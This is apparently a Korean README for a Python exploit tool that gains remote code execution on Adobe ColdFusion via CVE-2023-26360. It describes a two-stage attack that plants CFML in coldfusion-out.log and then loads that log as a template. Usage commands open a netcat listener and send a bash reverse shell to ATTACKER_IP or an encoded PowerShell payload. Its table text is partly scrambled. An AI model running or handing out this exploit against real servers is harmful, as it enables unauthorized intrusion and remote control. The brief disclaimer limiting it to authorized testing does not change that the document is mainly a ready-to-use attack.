
이 익스플로잇은 CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360)을 기반으로 하며, Metasploit 모듈과 jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit을 바탕으로 제작되었습니다.
CVE-2023-26360용 원격 코드 실행 익스플로잇의 Python 구현으로, 원본 Metasploit 모듈과 jakabakos의 선행 연구 분석을 기반으로 합니다.
jakabakos PoC는 <cfexecute>를 _variables 파라미터에 직접 주입하고 ColdFusion 로그에서 출력을 단일 단계로 읽으려고 시도합니다. 그러나 ColdFusion은 해당 컨텍스트에서 CFML 태그를 인라인으로 평가하지 않기 때문에 이 접근 방식은 실패하며, 코드 실행 없이 500 오류가 발생합니다.
이 구현은 Metasploit 모듈에서 사용하는 올바른 2단계 메커니즘을 재현합니다:
_variables 페이로드({<cftry>CFML</cftry>)를 전송합니다. ColdFusion은 이를 파싱하지 못하고 CFML 코드를 포함한 원본 콘텐츠를 coldfusion-out.log에 기록합니다.명령 실행은 createObject를 통해 java.lang.Runtime.exec()로 수행되며, 일반적으로 강화된(하드닝된) 환경이나 프로덕션 환경에서 비활성화되는 <cfexecute>에 대한 의존성을 피합니다.
pip install -r requirements.txt
익스플로잇을 실행하기 전에 리스너를 시작하세요:
nc -lvnp 4444
Windows 대상:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Linux 대상:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
프록시를 통한 실행 (예: Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| 플래그 | 설명 |
|---|---|
--host | 대상 기본 URL (예: ) |
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
이 도구는 교육 목적과 승인된 보안 평가(침투 테스트, CTF, 랩 환경)에서만 사용하도록 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 익스플로잇을 실행하는 것은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
http://192.168.1.10:8500--cmd | 대상에서 실행할 명령 |
--win | 대상이 Windows 호스트인 경우 이 플래그를 설정하세요 |
--proxy | 선택적 HTTP 프록시 URL |